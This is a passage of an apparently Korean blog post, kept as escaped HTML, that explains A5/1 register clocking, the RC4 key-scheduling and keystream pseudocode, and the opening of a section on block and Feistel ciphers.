height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;m 값을 가지고 각각의 레지스터는 아래의 규칙을 따라&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 x8 = m이면 X단계 실행&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 y10 = m이면 Y단계 실행&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 z10 = m이면 Z단계 실행&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(255, 217, 236);&quot;&gt;maj(x, y, z) 함수&lt;/span&gt;는 가장 많은 것을 출력하는 함수로 만일 maj(1, 1, 0)이면 X단계, Y단계를 실행하고 1을 return 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;maj(0, 1, 0)이면 Y단계를 실행하고 0을 return하는 함수이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;또한 Key Stream은 각각의 X, Y, Z의 마지막 bit를 뽑아 아래와 같이 만든다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/9981F33F5C1CCBAD31&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28s%5Cquad%20%3D%5Cquad%20%7B%20x%20%7D_%7B%2018%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20y%20%7D_%7B%2021%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20%7B%20z%20%7D_%7B%2022%20%7D%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;223&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이러한 key stream을 평문 P만큼 뽑아 평문과 xor 연산을 통해 암호문 C를 만들고&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;암호문 C를 key stream과 xor 연산을 하여 평문 P를 얻는다.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;한 클럭마다 결과값이 생기기 때문에 &lt;span style=&quot;background-color: rgb(255, 217, 236);&quot;&gt;클럭의 속도에 비례해 key stream이 생성&lt;/span&gt;된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;&lt;b&gt;RC4&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;RC4은 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;software 기반&lt;/span&gt;에서 작동하는 stream cipher이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;RC4 알고리즘은 lookup table을 항상 가지고 있는데 256 byte의 순열이 들어있다. {0, 1, 2, ... , 255}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;각 단계에서 key stream 한 바이트를 생성하는데 한 바이트가 생성 될 때마다 lookup table이 새롭게 수정된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;RC4는 크게 2단계로 이루어진다. &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;키를 사용해 lookup table을 초기화&lt;/span&gt;한다. &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;알고리즘에 따라 key stream byte를 생성&lt;/span&gt;한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;위에서 보듯이 key는 lookup table을 초기화 하는데만 사용하기 때문에 0~255까지 key size가 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key[i], i =0, 1, 2, ... , N-1은 key의 바이트이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;RC4의 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;초기화 단계&lt;/span&gt;는 아래와 같은 의사코드로 진행된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;i&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;to&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;255&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;S[i]&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;i&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;K[i]&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;key[i&amp;nbsp;mod&amp;nbsp;N]&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;next&amp;nbsp;i&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;j&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;i&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;to&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;255&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;j&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(j&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;S[i]&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;K[i])&amp;nbsp;mod&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;256&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;swap(S[i],&amp;nbsp;S[j])&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;next&amp;nbsp;i&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;i&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;j&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;RC4의 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;key stream 생성 단계&lt;/span&gt;는 아래와 같은 의사코드로 진행된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;i&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(i&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;mod&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;256&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;j&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(j&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;S[i])&amp;nbsp;mod&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;256&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;swap(S[i],&amp;nbsp;S[j])&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;t&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(S[i]&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;S[j])&amp;nbsp;mod&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;256&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;keystreamByte&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;S[t]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이렇게 생성된 key stream Byte를&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;평문 P만큼 뽑아 평문과 xor 연산을 통해 암호문 C를 만들고&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;암호문 C를 key stream Byte과 xor 연산을 하여 평문 P를 얻는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;RC4 알고리즘은 취약점이 발견되었는데, 첫 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;256 key stream byte를 버리면 보완&lt;/span&gt; 가능하다고 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;Block Cipher&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Block Cipher는 block 단위로 평문을 나누어 일정한 크기의 블록으로 만들고 고정된 크기를 갖는 블록 단위의 암호문을 만든다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;암호문은 &lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 14pt;&quot;&gt;평문을 반복적인 round function&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;에 의해 얻을 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;round function의 input으로 key와 이전 round function의 output이 들어간다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 18pt;&quot;&gt;&lt;b&gt;Feistel Cipher (페이스텔 암호)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Feistel Cipher는 암호의 체계를 지칭하는 것이 아니라, &lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 14pt;&quot;&gt;암호 설계의 원리&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;를 지칭한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Feistel Cipher 체계에서 평문 P를 &lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 14pt;&quot;&gt;왼쪽 반, 오른쪽 반&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;으로 나누어 아래와 같이 구성한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/994F5D355C1CDEDA27&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28P%5Cquad%20%3D%5Cquad%20%28L_%7B%200%20%7D%2C%5Cquad%20%7B%20R%20%7D_%7B%200%20%7D%29%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;128&quot; height=&quot;27&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이렇게 나눈 평문 P를 이용해 아래의 규칙에 따라 round function이 동작한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;txc-formula&quot; src=&quot;https://t1.daumcdn.net/cfile/tistory/99E7C8415C1CE0972F&quot; historydata=&quot;%3Cflashrichtext%20version%3D%221%22%3E%0A%20%20%3Ctextformat%20font%3D%22Dotum%22%20size%3D%2216%22%20color%3D%222236962%22%20bold%3D%22false%22%20italic%3D%22false%22%20underline%3D%22false%22%20url%3D%22%22%20target%3D%22transparent%22%20align%3D%22left%22%20leftMargin%3D%2225%22%20rightMargin%3D%2225%22%20indent%3D%220%22%20leading%3D%220%22%20blockIndent%3D%220%22%20kerning%3D%22true%22%20letterSpacing%3D%220%22%20display%3D%22block%22%3E%28%7B%20L%20%7D_%7B%20i%20%7D%5Cquad%20%3D%5Cquad%20%7B%20R%20%7D_%7B%20i-1%20%7D%5C%5C%20%7B%20R%20%7D_%7B%20i%20%7D%5Cquad%20%3D%5Cquad%20%7B%20L%20%7D_%7B%20i-1%20%7D%5Cquad%20%5Cbigoplus%20%5Cquad%20F%28%7B%20R%20%7D_%7B%20i-1%20%7D%2C%5Cquad%20%7B%20K%20%7D_%7B%20i%20%7D%29%29%3C/textformat%3E%0A%3C/flashrichtext%3E%2C%0A14%2C%0A0xFFFFFF&quot; width=&quot;234&quot; height=&quot;59&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;여기서 K는 &lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 14pt;&quot;&gt;round key&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;로 subkey라고도 불린다. round key schedule 알고리즘에 의해 round key가 생성된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이러한 round function을 N번 통해서 아래의 최종 암호문 C가 얻어진다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br 